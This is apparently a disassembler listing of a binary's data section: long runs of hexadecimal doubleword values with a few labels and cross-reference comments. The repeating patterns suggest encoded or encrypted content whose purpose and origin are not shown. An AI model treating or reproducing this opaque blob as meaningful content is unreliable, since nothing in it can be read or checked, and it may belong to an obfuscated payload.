dd 694FB973h, 66443190h, 979D3D15h, 0DB84CD74h, 8F8E2037h
dd 66443212h, 0E542F871h, 996EEF6Dh, 74BC9F80h, 67C53D13h
dd 9F223215h, 6858B79Ch, 9E743407h, 7F85B79Ch, 75CB3407h
dd 0F0113215h, 8007F163h, 0F91F3C83h, 98930A3Dh, 8E63B8CAh
dd 0E587802Ah, 66443214h, 422EB9E9h, 0E7F2BB46h, 668836D6h
dd 6287B115h, 3A062E92h, 66113BFCh, 0ADA3AD15h, 688E6044h
dd 0D3DD8552h, 60032BD4h, 833DCDE9h, 69422038h, 66223D9Fh
dd 661BDB15h, 0C9613215h, 83D85F25h, 48FEB55Bh, 0E7F3BB47h
dd 668836D7h, 62AEB115h, 3A062692h, 8F350E9Ch, 66883210h
dd 11EC3003h, 397CD99h, 9E172037h, 0D773B798h, 624340Dh
dd 0A9E08A73h, 7D38D1Ah, 668AB41Ah, 40F63215h, 6F2CD74h
dd 0E75AF295h, 241EDCDDh, 0EB45532Ah, 6030106Ch, 661FDB75h
dd 1BA33215h, 998EFF8Eh, 809F8FFFh, 0A2ADB0C1h, 0DFF6C394h
dd 0ED255B7Bh, 743BF3A8h, 661FDB13h, 6B4E3215h, 4B009DE8h
dd 0A48D395Ah, 9C62B6A9h, 4B6D879Eh, 8FBD3407h, 66223210h
dd 94FBE0AEh, 62CC122h, 0DA95B373h, 4F448CCEh, 6970113Fh
dd 66883596h, 67C33D15h, 9E223215h, 49BC879Eh, 0CB7D3407h
dd 6643BA1Ah, 0E12D3215h, 66113214h, 663062ECh, 35443215h
dd 99DDCEAEh, 0EFE233EAh, 93D06916h, 6941F2D4h, 6622279Ah
dd 6FF85215h, 63883215h, 4D38EDB5h, 0CD593C63h, 969461AAh
dd 0DFD9537Dh, 1317078Ch, 1E2EC394h, 0C21418BEh, 67A2ED05h
dd 76E01FDDh, 67B18CAh, 0F43DF394h, 86086F8Dh, 0E34753E0h
dd 60303A80h, 66113CFCh, 0F7612D15h, 0C5CE549Ch, 0B991362h
dd 0EDF0E290h, 7491F398h, 0D4BC5213h, 0E02D53EBh, 66113214h
dd 663260E0h, 0E7443215h, 310302FFh, 0E7D33348h, 31A902D7h
dd 3C4EBB48h, 66223BFCh, 384EA215h, 6A8AE076h, 77AD611Dh
dd 15223215h, 0B2DEC0C7h, 571B5CB0h, 77910583h, 488ED086h
dd 67973DB8h, 9F883215h, 66448946h, 38AB3215h, 420DB9E9h
dd 668CF694h, 6DAD3215h, 80223215h, 3517FF8Ah, 0F58B1A65h
dd 0D3CD0061h, 60301DB8h, 99E9B1EDh, 6646B71Ah, 0DE243215h
dd 1D56FF67h, 0BB2FB374h, 6955EFC8h, 66448990h, 6630DB15h
dd 96B23215h, 0AA22BF9Fh, 0AFA0FF70h, 87E33DDEh, 0D0541085h
dd 4ED48B44h, 97C52D3Bh, 62460828h, 4205C544h, 0AF097B4Ch
dd 73DF2C6Eh, 99DDDB94h, 6898C7AAh, 680F3D4Ch, 6443215h
dd 6622BD1Ah, 0EC1E3215h, 66883215h, 0B2CCA74h, 0EF22325Ah
dd 62AA1609h, 67883215h, 692469CBh, 9A43C3A2h, 49BC879Ch
dd 0EDE83407h, 72786E5h, 663CB11Ah, 0ED1E3215h, 6688320Dh
dd 664421FCh, 75158615h, 0FC5D89AFh, 5CD074DEh, 1F5AC831h
dd 0CEEBB1EAh, 99C5ACFCh, 7B023DEAh, 69443215h, 66222594h
dd 6603DB15h, 7A453215h, 6F7E0Fh, 73E9ADA1h, 4F5A206h
dd 301A66EDh, 9E47F2D4h, 6EB7B716h, 76F83407h, 99883215h
dd 72362C70h, 87DCC960h, 0CC6035A2h, 694F47ADh, 6644339Dh
dd 0DBA1CE15h, 600336ECh, 890C3D14h, 6443216h, 0D92DE49Eh
dd 589053DCh, 0CC2298BFh, 66A2B71Ah, 74CB3215h, 2B113215h
dd 770F7BAEh, 616D9558h, 0C7208B56h, 8E003ABFh, 0DFD961C1h
dd 3FD075A5h, 25E2F394h, 0BFE67478h, 918AD3D4h, 2385B3C4h
dd 0EF5DCBC7h, 0B8106BDEh, 669ADB4Eh, 6ED03215h, 897852BEh
dd 0B11DEDA5h, 5605BAA8h, 5C6576Eh, 66228F40h, 0E7443215h
dd 5BA41611h, 20CB7AA6h, 9A4CB3E9h, 2EA20F39h, 610A3D48h
dd 6443215h, 0ED446A42h, 314153D2h, 0E5AC369Eh, 8F1B36D1h
dd 6622321Ah, 7B49DDA7h, 4A649DC0h, 5E5452D4h, 0E7B0C45Ch
dd 661136F9h, 4294BB15h, 9ECCDBA2h, 75A23D4Eh, 6113215h
dd 66883EFCh, 0A890F015h, 0D18178A2h, 0FC17F01Ch, 0E9875338h
dd 66443204h, 66223EFCh, 0C8FA5515h, 0E8967B85h, 0E5897894h
dd 6666DB82h, 6713215h, 9998D73h, 5B2CB0AFh, 0A09C5307h
dd 709CD2Ah, 62036545h, 6280B331h, 39223215h, 70A760ECh
dd 0E651D495h, 96CC1AFBh, 0E506269Eh, 69F836D1h, 0E6883215h
dd 0B34CFC4Ah, 74A100F9h, 0B1F70CB9h, 39E09032h, 0EF44322Ah
dd 0E92D1611h, 6611320Dh, 6684DB75h, 0D6883215h, 4659FFA7h
dd 0F68DD0F6h, 88338A82h, 7783685h, 64AE3D75h, 34113215h
dd 0DB0B534Ah, 6056379Ch, 1DA63D14h, 93113214h, 318104ADh
dd 6EA4F332h, 6764D418h, 15AF6468h, 4FA1936Eh, 18416CE5h
dd 5362E231h, 769B76BAh, 2B2D9010h, 6AC33D6Ch, 69223215h
dd 66113492h, 660E3D15h, 0E5443215h, 7F56E6A8h, 0E21E3213h
dd 66883271h, 21018D75h, 0EB430FFEh, 7ED98588h, 6699DB13h
dd 0E98A3215h, 529E602Eh, 3DE9DD47h, 0CE387044h, 69C5D180h
dd 66223891h, 0E7775215h, 0E802E6h, 9925EA9Eh, 6630DBC6h
dd 0A87A3215h, 9ACC749h, 9CB90F8h, 363F477Bh, 5F364633h
dd 668821FCh, 22A04015h, 0B27F3C55h, 7434F866h, 3E4DF07Bh
dd 296C6EE6h, 69B20D95h, 66116291h, 6698DB15h, 2C303215h
dd 9C568957h, 5843CFDBh, 0DA906BD9h, 0DC16DCAFh, 66223210h
dd 74E4F594h, 0B1894655h, 74B1DD94h, 8F784655h, 66113213h
dd 615B1E23h, 0FDADE148h, 6223214h, 8F0AEF95h, 66883219h
dd 4152BD66h, 5344B82Eh, 703EC429h, 3670B174h, 6634B01Ah
dd 37D73215h, 93915BA0h, 237DB2D5h, 8E4496A5h, 6633DB4Ch
dd 18E83215h, 0B08DE894h, 12F1161Eh, 0A0D16819h, 0CCFD53F2h
dd 428CB9EDh, 0E7A1BB40h
dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h, 66223A90h
dd 64943D15h, 6883215h, 69EECA74h, 66222291h, 6FF85215h
dd 0D2883215h, 0C8885770h, 0D74F1D26h
db 74h
byte_5C3A41 db 0DBh, 8Ah ; DATA XREF: ___:off_437FB8o
byte_5C3A43 db 66h ; DATA XREF: ___:off_43A0E8o
dword_5C3A44 dd 0E83215h, 0D6602DABh, 62A95385h, 87986331h, 668CF394h
; DATA XREF: ___:off_43A0E0o
dd 0A7C73215h, 422EB511h, 6BBCB49h, 668837FCh, 98AC9915h
dd 0EC2D06A5h, 66113217h, 0E6E96A45h, 69ADCD6Ah, 66225290h
dd 0DB92CA15h, 609146C1h, 4FC03D15h, 9A223215h, 0A140AF98h
dd 0E487340Dh, 66443211h, 7DAC775h, 77F8E1EAh, 0CB883215h
dd 5EA4C28Ch, 0F6882BACh, 0ADDDC2E0h, 0A5B817B5h, 66408847h
dd 8CA33215h, 37DA3D8Eh, 0A409C814h, 378F3D8Eh, 8F78309Dh
dd 66113218h, 0BB719F39h, 1E45FCE3h, 7DF538AEh, 0A794B99Ch
dd 8F8E200Ch, 6644321Ah, 45786EF0h, 0D350304h, 0E7B8E192h
dd 4B555E81h, 6EC04E4Eh, 0D902B838h, 63701B79h, 0AFB219Fh
dd 845E6910h, 661CDB1Dh, 4DD83215h, 0B2D1C9EFh, 9270F19Eh
dd 353C31D7h, 668836AEh, 71161F15h, 0BE0B403Bh, 48066010h
dd 8FE86967h, 66443218h, 3F7157A7h, 3F787B00h, 51497F46h
dd 7EE8483h, 0DD7552BEh, 72080205h, 0FE31544Ah, 69E953CEh
dd 66223391h, 0D946CB15h, 66883215h, 0EDB84C9Ch, 0A2A11629h
dd 7C963D11h, 6883215h, 76ACE19Eh, 0EC223215h, 4E318883h
dd 0AB2C6046h, 8EC982B8h, 3D75F055h, 9CD5DB74h, 36E8CDEAh
dd 6654DA4Ah, 1C4D3215h, 0CC7F786Dh, 95B0483Ah, 974175A9h
dd 778C69Fh, 49BC879Ch, 68613407h, 6F443215h, 433E34F9h
dd 0DA160E61h, 429D508Eh, 86CD621Ah, 66223610h, 66151F15h
dd 620F3215h, 72CD6E31h, 0B7A95231h, 661EDB75h, 28C63215h
dd 2C2840Fh, 0A08EE84Bh, 3B2805BFh, 66063D70h, 7443215h
dd 0E6225A74h, 8E713215h, 66883218h, 0B645C493h, 100ADFF8h
dd 45579688h, 660B3DC8h, 3F443215h, 6225874h, 6617B91Ah
dd 0E9873215h, 66443215h, 7F1B973h, 79C087EAh, 72613407h
dd 0AE443215h, 0A25B6723h, 0A43C7B64h, 70253157h, 0AA93E760h
dd 997C6C15h, 743EDF80h, 6E003D13h, 69443215h, 6622309Ah
dd 0ED705215h, 0EFDD1601h, 6281B3F0h, 0E5223215h, 4A9636D0h
dd 0E0876E31h, 66443218h, 0B8A35475h, 0E01EA2CAh, 66883215h
dd 1FC9B974h, 8F24200Ch, 66113204h, 0CAAD36F5h, 0E9E5936Eh
dd 0A1486C61h, 0F5905BD4h, 80E06587h, 0ED06544Dh, 0A2A31629h
dd 66113211h, 3E6EC594h, 5FCD7073h, 67AD3D4Ah, 9A113215h
dd 668C8D42h, 8FC53215h, 5D6B5236h, 0A790CB14h, 5DC15236h
dd 67CD3D4Ah, 93223215h, 7F68BF9Ch, 6D613407h, 6443215h
dd 0C0453E1Ah, 0E0864C82h, 3061F79Eh, 69BBCDD2h, 66222592h
dd 6603DB15h, 0E3C03215h, 22CA5998h, 34BBAD47h, 0CB4FF3D7h
dd 0DD7FF416h, 666F0EFCh, 6EA63D15h, 69113215h, 66883092h
dd 6255215h, 662226FCh, 4961A215h, 9B4EEBB5h, 201C408Fh
dd 842E2E0Ah, 98D5424Ah, 1F05B961h, 642200Ch, 63CAC29Eh
dd 0D0113215h, 0D33C1689h, 6644B71Ah, 7793215h, 0ED20CDEDh
dd 0A2091619h, 66443211h, 0B8A95475h, 733DB95h, 1258BF9Ch
dd 69AD340Ch, 4F223215h, 11CDCC49h, 0BB6DB725h, 8507635Fh
dd 5EA35E42h, 2A55665Bh, 66F1B71Ah, 0E84B3215h, 6622321Fh
dd 661137FCh, 4E2B6715h, 0E722CBC9h, 486E366Dh, 664CB71Ah
dd 0E4873215h, 66443214h, 67A03DECh, 9E113215h, 668CDE94h
dd 62CD3215h, 420EB331h, 476E4B85h, 0F64EB34Bh, 9E654D6Ch
dd 0BEC4B375h, 7071BE7h, 60326044h, 0EF443215h, 0A82368C4h
dd 69973D4Ch, 8F883215h, 6644321Fh, 70CBB891h, 0DCE17DCh
dd 0E30329A5h, 605612E4h, 62FDDBECh, 34E93215h, 0B0016845h
dd 0D922524Fh, 0D944076Ah, 3770E87Bh, 0AC01F39Ch, 0E5603E9Eh
dd 60CB36D1h, 0FD113215h, 868FF2E4h, 8F8D03FCh, 6622321Eh
dd 465B10CAh, 0A2EDDF0Dh, 8FEFB048h, 6622321Eh, 49F1AF8Fh
dd 4939D9C5h, 0CA08FC4Eh, 66223EFCh, 5D11F15h, 0F7242919h
dd 0DDAA8DC3h, 69220EC5h, 66104A91h, 6698DB15h, 93F23215h
dd 7B3B6053h, 0FEEF3239h, 5A4E5488h, 24CF6Ch, 695B05AEh
dd 66113497h, 660D3D15h, 7443215h, 0E22D1F29h, 99EECDA2h
dd 0B8095275h, 2B504585h, 77CB53ECh, 0CF113215h, 15A98D1Ah
dd 71811914h, 557DE53h, 254E1966h, 69A60E74h, 66448C91h
dd 6BA43D15h, 6113215h, 0D8301EAFh, 66C33D68h, 7223215h
dd 0E41E0229h, 6688368Dh, 697D0EE0h, 99DD5893h, 6D923DEAh
dd 8F883215h, 66443213h, 29BC88D9h, 272D98E7h, 62FEB01Ah
dd 69B13215h, 66223393h, 3C2DCE15h, 99C9B41Ah, 6DADCDEAh
dd 1E223215h, 0A6D3F973h, 0FE6B04FBh, 3978545Dh, 990BB61Ah
dd 0E71ECDEAh, 66883207h, 66443FFCh, 51396715h, 6A563FD5h
dd 0ED40484Ah, 7780222h, 620CB01Ah, 75F83215h, 0CF883215h
dd 931B7FCCh, 38B797B0h, 0A890184Ch, 1734D78Fh, 1C786CE4h
dd 98CBB41Ah, 8FE4CDEAh, 6688361Dh, 66443CFCh, 8699EC15h
dd 9E919F08h, 0AC973677h, 36105E3Ch, 662233ADh, 3ED33315h
dd 93C58875h, 0E7221099h, 7B441F6h, 0E21EC02Ch, 668831CDh
dd 66443EFCh, 91DF1715h, 0B9845E8Dh, 9D602C4Eh, 0A6C7A0B6h
dd 9AD7A0EAh, 66108F40h, 8F893215h, 6648DB48h, 21DB3215h
dd 12A971EDh, 568EAAD4h, 1AADA0EFh, 6DDCDEBh, 6610B71Ah
dd 713215h, 0A9C7FC94h, 69EBB774h, 6612B991h, 63023D15h
dd 6443215h, 7E98D1Ah, 949ACA75h, 533DBF74h, 6422033h
dd 0B59D3D44h, 64993D4Fh, 6883215h, 0EF145374h, 4AA362C5h
dd 0E642C831h, 0A7096B58h, 2BC461EFh, 0DD4ACE4Dh, 0EF113203h
dd 6D71601h, 93255275h, 0D5715374h, 0E6DACC21h, 0AD76B8FEh
dd 0EE3ED995h, 423EB9CDh, 8F15F696h, 66883219h, 1D84E751h
dd 26E99E40h, 0F7632F9Ah, 9A7547BBh, 0FD9BB375h, 9F24049Fh
dd 46F8B374h, 0E7FBBA1Fh, 0E62E7AFCh, 0E7DB1B61h, 0E67B7AD4h
dd 4649B361h, 637BA1Fh, 95C38973h, 6614BA1Ah, 0E7EE3215h
dd 7760CF7h, 6622327Dh, 4215B315h, 35CE057Dh, 0E7603E3Ch
dd 514A1639h, 69486153h, 66883A93h, 64C33D15h, 6223215h
dd 94FEB374h, 4F94353Dh, 0D7FC62DAh, 53146B28h, 4C4F2756h
dd 69D0F514h, 66443393h, 9113CE15h, 9120CC24h, 668839FCh
dd 0F5DE7615h, 0B578DEA8h, 2E9AF900h, 0A07196E6h, 0E6B2CD52h
dd 0E673CD52h, 3514CD52h, 9977CDAEh, 0E6BF33EAh, 8F797E26h
dd 66113201h, 9B83C758h, 0AC0EDED8h, 80ED8603h, 44B99543h
dd 8582ADB8h, 4071A798h, 0E22D3407h, 66113201h, 66883DFCh
dd 0ED4D2C15h, 75768F3h, 5D02D427h, 0A95C7B83h, 6EC5B79Eh
dd 0EE2D3407h, 66113214h, 0A60DCAE9h, 663CB71Ah, 0A0DE3215h
dd 74394390h, 75617513h, 0A1443215h, 542E7E60h, 0A2317476h
dd 6EB8D63Bh, 0C4776102h, 0B44A7170h, 6C5A8B2h, 99D98D73h
dd 66443AFDh, 0FBE9B515h, 6D7C0BB2h, 66093D80h, 38443215h
dd 8F97CD74h, 69172025h, 6688359Ah, 67CE3D15h, 9A223215h
dd 1924B798h, 0EC873400h, 66443202h, 662220FCh, 0FC3BEA15h
dd 4B7EA82Ch, 0E072B92Ch, 88B93AF1h, 99B0778Ah, 8A0BCAC5h
dd 4250BB11h, 66223AFCh, 87DAA915h, 0E91CC86Fh, 694CD34h
dd 0AF9D3DE0h, 69D1B774h, 6688CA90h, 0E3CFCE15h, 603012D4h
dd 661122FCh, 0E1526915h, 0DC5EC8FDh, 8E15E1C9h, 0B9F3BEDFh
dd 6948B75Bh, 66449690h, 74AF3D15h, 69113215h, 66883E9Dh
dd 6643DB15h, 0A0183215h, 0CEEDE78Dh, 170DF4B4h, 2A42203Dh
dd 6634BB1Ah, 0E01E3215h
dd 66883205h, 664439FCh, 968F3F15h, 0E89B4101h, 0D4D40F60h
dd 0BC58DB7Dh, 662ADBCCh, 2CCD3215h, 0C0FD734Fh, 0D3BB7CA0h
dd 603002FCh, 66113AFCh, 79025815h, 0E4713665h, 53A7BF06h
dd 617276Ah, 0A321E194h, 69242992h, 6622329Eh, 9E9A5415h
dd 0B6775374h, 66443CFCh, 0A7B26415h, 0DE103C09h, 85F53107h
dd 8F9A793Ch, 66223204h, 0A27AC160h, 0B92F619Eh, 0C4EC1568h
dd 38992E69h, 5BA55A72h, 72013215h, 0B6BBCB31h, 39D76575h
dd 0E13B9BABh, 0E85309h, 696D23AFh, 66223292h, 0A6945315h
dd 668FB71Ah, 8FB13215h, 66223285h, 0B694BBE9h, 68E2B61h
dd 6EADEC9Eh, 0A3223215h, 945D815Ah, 7B7E6ECh, 0E7A3BB42h
dd 662236D2h, 62FEB315h, 0E1883215h, 0EF181629h, 0EDB1611h
dd 66114D03h, 8FAC069Ch, 66443218h, 0E5A16BACh, 63479638h
dd 73BE04Fh, 0BAC1BF95h, 69242764h, 6611269Dh, 6687DB15h
dd 0E9323215h, 799D7E6h, 0A4D9296Dh, 8C7ABD9Ah, 9394CD87h
dd 0E32DF21Eh, 66113202h, 600F3D75h, 0E7443215h, 0C23F54CBh
dd 0F5E7B25Ah, 668EDB74h, 0EFB83215h, 933E1651h, 6605DB74h
dd 42E93215h, 72A7A0CEh, 413B1E31h, 0C56DA5D1h, 11062E54h
dd 6870037h, 643F19Fh, 661138FCh, 5B838715h, 6B0AF997h
dd 6989F9E0h, 6611219Ah, 6686DB15h, 0A50A3215h, 91AAD572h
dd 153D6428h, 0E2142437h, 1294BF9Eh, 0E52D340Ch, 6611321Ch
dd 0D06375h, 6E64D194h, 81AB6574h, 6615F594h, 890B3215h
dd 4278B511h, 4226BB49h, 6CF8C775h, 39883215h, 49CBE8h
dd 50E288A3h, 37435348h, 11AC1E94h, 3C1DC33Eh, 4D55F094h
dd 0B6986BE4h, 750E3D4Fh, 8F443215h, 6622321Bh, 66F793B3h
dd 14D4CFFDh, 0B0BCF6AFh, 0DC7080D5h, 66113229h, 648BF014h
dd 0E760269Eh, 662236D1h, 639C3D15h, 6883215h, 72552E9h
dd 66AA82EAh, 729A3215h, 624CB131h, 2452E9h, 0FEAFD894h
dd 309EF094h, 0E96C50h, 962E994h, 6FB7BB74h, 8F172015h
dd 66883201h, 0CE417E09h, 7A948205h, 94A0D6E0h, 0E6A08579h
dd 0F486EFF8h, 1ED95AECh, 52983215h, 3BE8C31h, 0A0C57DB8h
dd 0D670A9D7h, 8F4FC214h, 66883213h, 83E4B996h, 16DD631Fh
dd 4205B919h, 68CF696h, 66443EFCh, 0D7EB0815h, 9631C0A8h
dd 96968154h, 0F3CD532Ah, 60300704h, 649C3D75h, 0ED883215h
dd 6925C7EFh, 66223E92h, 609D3D15h, 69883215h, 6644329Ch
dd 4226B915h, 0E7F6BB42h, 668836D2h, 6283B315h, 0E1223215h
dd 64D1629h, 66883AFCh, 0FA521015h, 0E36C6191h, 6618DA66h
dd 5643215h, 0EFFDFA8Dh, 8FC289CBh, 66113205h, 826C20FEh
dd 0E5F03893h, 0A48EE479h, 7CC0939Eh, 1277534Bh, 62CF1631h
dd 62E6B331h, 93113215h, 7D838847h, 8C853EC0h, 0D8C8B310h
dd 911D793Ch, 5B4AB3C7h, 4F4369E0h, 0AE0B68C5h, 26671010h
dd 6698DB06h, 0D2883215h, 4CD1CC68h, 0A6A89336h, 0E28DF2EAh
dd 6EAD894Fh, 18223215h, 7EF9475Eh, 5D974A30h, 74712390h
dd 22A03D13h, 69113215h, 66883398h, 0E37FCE15h, 6030321Ch
dd 6620B11Ah, 0ED873215h, 66443214h, 75CB53E0h, 1C113215h
dd 0E99BAA4h, 72558E10h, 5891D337h, 5091B9B6h, 624A2108h
dd 664DDB15h, 5F143215h, 6837D89Bh, 799CCBEh, 664439FCh
dd 0F6067A15h, 0CC6B03BAh, 34E1F266h, 746036D2h, 354DF24Bh
dd 59B0DCAEh, 42D43385h, 6B86911h, 0C2D4B373h, 7C9B9C0h
dd 62AC76D2h, 6B5475D0h, 62067694h, 66113214h, 62AC7694h
dd 94AB8A2Fh, 6632B11Ah, 6DF83215h, 0ED883215h, 96CCE40h
dd 0F9F83134h, 71D584h, 69EBD8ADh, 6644379Eh, 89A35415h
dd 0E5700480h, 5A0136F9h, 66418D31h, 9EAB3215h, 6617DB4Ah
dd 0D41B3215h, 67C7C58Bh, 0D3AFBFE0h, 8F172058h, 66883204h
dd 1661D2E6h, 5F8D9AFFh, 845083B0h, 0F59E5157h, 93A5CDACh
dd 0E7445275h, 6839F2h, 0E7E9EC9Eh, 664436F9h, 4236BB15h
dd 661132AFh, 0EC7A3315h, 6DAD6817h, 99223215h, 0EA6FD863h
dd 0DBC81B63h, 8F78F71Eh, 67BBB61Ah, 0E6713215h, 0D9872EF9h
dd 0EE4B53D5h, 66223214h, 69F90EEDh, 6689F091h, 6641DB15h
dd 7A183215h, 6956450Ch, 6688339Bh, 6978CB15h, 6655B61Ah
dd 69713215h, 7661EAAAh, 62443215h, 0C58A0C03h, 0E933F0D8h
dd 0A5EF6DFAh, 7A2BE9Bh, 0E22DFF29h, 66113016h, 7E86075h
dd 6655DA4Eh, 0C3653215h, 714E2DEAh, 51E15D35h, 0F48256BBh
dd 693FB8F5h, 74AC0AAh, 0E287D929h, 66443052h, 6624DBEDh
dd 0A1F3215h, 0AF0A69A6h, 62C63D74h, 6223215h, 0A570C29Fh
dd 7763B375h, 8F18F156h, 6622321Dh, 8300DD34h, 0FBE2FEF4h
dd 62A8B174h, 0DF063E9Ch, 66113214h, 7F02C314h, 0E94B524Ch
dd 66223205h, 661138FDh, 0B4A98E15h, 8E3F673Dh, 3D8885BBh
dd 66983D75h, 8F883215h, 6644321Bh, 4ADDCEA7h, 74954F7Fh
dd 0BFA5A462h, 725F75Ch, 904F8047h, 0EAA562CFh, 9801F695h
dd 0E688CCD9h, 842A6EE1h, 0E6D3CC4Dh, 0B5A822D7h, 67C83D4Fh
dd 9A223215h, 6991C995h, 99775D90h, 0ED12C7EAh, 0A2A31609h
dd 66113211h, 668820FCh, 0E5669C15h, 25E35397h, 0AD7D5406h
dd 8D0D4495h, 0ED97E01h, 66220EA9h, 0D9350E9Ch, 66883213h
dd 9A1BC914h, 66205A45h, 67493215h, 3E9031E5h, 17CE75h
dd 3F0416AFh, 67973D74h, 9F883215h, 6644D6FCh, 4EAC3D15h
dd 6113215h, 66883FFDh, 86691515h, 0B039DC4Ah, 57370544h
dd 8FD6D746h, 6644321Bh, 0C2B03045h, 0A69A5118h, 24A26204h
dd 9925614Eh, 7AA93363h, 62D5B131h, 0E751B975h, 0E1FE00FEh
dd 6FCB5326h, 77113215h, 223E5A59h, 58C894AFh, 69D9C996h
dd 66102091h, 6699DB15h, 88B3215h, 0F98FB80h, 56B2EF41h
dd 0E250724h, 0E54E4884h, 52AB36F9h, 4225B331h, 72193DACh
dd 0DFB7B34Eh, 8F36A31Ah, 6611321Bh, 9E3B09CBh, 5B9CC44Ah
dd 60C32D94h, 0DC43C4EAh, 66883214h, 7C47C014h, 0E506269Eh
dd 0E81E36D1h, 66883219h, 6642B11Ah, 0E22D3215h, 66113215h
dd 668D8C43h, 95453215h, 0E706069Eh, 661136D1h, 0A7035215h
dd 664421FCh, 165C3415h, 662007B8h, 0F4AF3518h, 0D1625742h
dd 46E3DE27h, 9823DB74h, 6970CDEAh, 8F456CA3h, 66223201h
dd 1589F64Fh, 33E2E6DBh, 57E6F510h, 545A2002h, 8FE261C2h
dd 69A6D996h, 99BA3991h, 6632DBEAh, 91CB3215h, 0B088268Ah
dd 0F8112FCDh, 7EB9D025h, 0ED1E944Bh, 6688320Fh, 1BCA8C75h
dd 68CB4D95h, 83113215h, 75ED409Ch, 52FAAFB5h, 0F9D74B11h
dd 46F85317h, 8F883215h, 66443212h, 9D3E8EEFh, 0E6201D72h
dd 6976336Bh, 99B98990h, 0ED2D52EAh, 66113217h, 8FE95375h
dd 99BBCE5Eh, 535AE0h, 52983215h, 77615231h, 7C443215h
dd 0D2441959h, 7504F98Ah, 9EEAD685h, 0CD12A041h, 81AB6574h
dd 6615F594h, 890B3215h, 4278B511h, 422EBB49h, 6619BB1Ah
dd 69E83215h, 0ED22ECA2h, 0E02D53DDh, 6611320Bh, 6690B51Ah
dd 75AD3215h, 6C223215h, 222D71C9h, 1637EA4Dh, 0BF2BA271h
dd 2244490Eh, 527946FFh, 0EF88322Eh, 0EC241609h, 74265FEh
dd 1479534Bh, 0EF883244h, 6EAD1629h, 64223215h, 0D430A66h
dd 5770C070h, 6CC73DD5h, 6223215h, 0E61E5375h, 66883215h
dd 37BD9E74h, 8DAAF79Dh, 0E7353E9Eh, 668836D1h, 5CF25215h
dd 0AECAB373h, 34775371h
dd 0B5A8C2A7h, 4250B973h, 620F696h, 7D08D1Ah, 668839FCh
dd 27365F15h, 0E7723CC8h, 800EA2A1h, 69F8C995h, 6641DF91h
dd 691ECB15h, 6717B61Ah, 0E3873215h, 66443219h, 6624BB1Ah
dd 0E51E3215h, 66883215h, 0EA4B5275h, 66223215h, 6611B91Ah
dd 0EDE93215h, 8F7853C3h, 6CD8B61Ah, 6DF83215h, 6F883215h
dd 0F8FA1576h, 0EA031CBEh, 5AE42516h, 540C3DFEh, 644321Ah
dd 69C10E74h, 66129E91h, 91025215h, 0BD8CB373h, 841E5330h
dd 76EFB61Ah, 0E5873215h, 66443214h, 421EB9E0h, 63F1BB45h
dd 66883211h, 66443610h, 4226B515h, 6D9A3D49h, 8F883215h
dd 66443213h, 2779FABFh, 52EE7FF1h, 0A2096931h, 66443211h
dd 4216CDE0h, 62D5B34Ch, 93883215h, 6658B51Ah, 8F423215h
dd 6611321Ah, 1899F410h, 0C183027Ch, 561AC396h, 69533869h
dd 6688329Eh, 52CF5315h, 86AB6231h, 66113610h, 6248B115h
dd 3A603692h, 6629B41Ah, 60F83215h, 36883215h, 2FB2EC1Fh
dd 0EF2DF1E1h, 66113202h, 668820FCh, 841E4715h, 58387478h
dd 8B78ED1h, 7CCA511Bh, 9A714DA7h, 1382B7D2h, 6617340Ch
dd 69E83215h, 0BFC5E2AAh, 2D6DA25Eh, 66A86374h, 0E7883215h
dd 9C0F86D4h, 0E7D33310h, 9C5A86FCh, 3F91B810h, 66443DFCh
dd 0B8AFC415h, 0D5BBDC2h, 0EAB79028h, 7EA38554h, 470C5AE0h
dd 6A983215h, 98298331h, 27B5B2D4h, 46D1DB95h, 0E6E46BDEh
dd 0E387B2EEh, 99BBCD14h, 4DF2B375h, 0DC473D2Bh, 4CB5750Ah
dd 99FF6174h, 67DDCDEAh, 0D67169CBh, 6E9CB4Fh, 9A17EC9Eh
dd 0E3A9534Eh, 60033EA4h, 668826FCh, 0C0B62115h, 0A8B5C4E1h
dd 58D502C5h, 5370CBDBh, 0E6D2228Bh, 0B7B7B91Eh, 9A17200Bh
dd 0EF8CDE96h, 97CD1619h, 8F7BF99Ch, 6611321Ch, 75D5F5E3h
dd 0CF2F540Dh, 609C6429h, 0E7113215h, 568773FEh, 0E7B73327h
dd 562D73D6h, 76F86C27h, 0A1883215h, 659B74Dh, 0C8A19C89h
dd 0DDC3A04Dh, 9E92DDF1h, 66468B44h, 97233215h, 66118A45h
dd 0AE893215h, 3F1C2A16h, 0EF9A52EDh, 0ED1D7EF3h, 0BEB353EFh
dd 6662B01Ah, 5DDE3215h, 20973DCFh, 6977CDEBh, 66442594h
dd 77AD3D15h, 8F113215h, 66883219h, 0C8D147C3h, 2B02F78Fh
dd 91171D5h, 3561D994h, 9D6D3C8Dh, 35CB8C43h, 95103C8Dh
dd 0D9EE524Bh, 0ED2261CCh, 0D87453EDh, 66113213h, 7CDDF194h
dd 956D28DDh, 7C77D994h, 694F28DDh, 66883A92h, 64C13D15h
dd 6223215h, 6BC5474h, 668AB71Ah, 0A5CF3215h, 0AF0F8973h
dd 8FBA5474h, 66883206h, 136652F6h, 1881B12Ch, 0F7B23E1Eh
dd 0B4951D76h, 67C5159h, 8FDC851Ah, 66113204h, 1F9D7B1Ch
dd 5B8C9E11h, 3D4F7BA4h, 0DA80C0A1h, 0BEB95368h, 0BE75F124h
dd 6628DB75h, 39E53215h, 75340D87h, 2CD966BCh, 0A2F8B375h
dd 0EC36B4DBh, 0CDE953D7h, 7CC33DEDh, 6223215h, 9DDCD394h
dd 6B6150F2h, 72443215h, 18700F4Eh, 28174C31h, 0C3ECD137h
dd 62FB6574h, 67223215h, 422DB9EBh, 698CF696h, 66443D9Fh
dd 6628DB15h, 8F423215h, 5E1DB598h, 497BC901h, 6060E9Ch
dd 0F3CBB373h, 6C438B85h, 0EF254EB2h, 8F2E1661h, 66113219h
dd 481F6443h, 0B4565340h, 2593852Eh, 462C879Ch, 0ED7D3407h
dd 0EF121629h, 62E4B3F3h, 0E5113215h, 520F36D3h, 246E31h
dd 9943C09Eh, 0E54A1621h, 6A6136D1h, 0A4443215h, 3AE93A21h
dd 1653A395h, 0EDECB814h, 0EF161619h, 62E0B3F7h, 0E7113215h
dd 668836D7h, 4250B515h, 662CDB49h, 0E5163215h, 0D82B7184h
dd 0E3162877h, 2CF5415Ah, 3735069Eh, 0A709D39Ch, 66443211h
dd 6626F394h, 6A963215h, 6A616E31h, 6A443215h, 2B057ACAh
dd 0A9CCBAF8h, 355653FCh, 0A5C5D19Ch, 66223211h, 0E115F196h
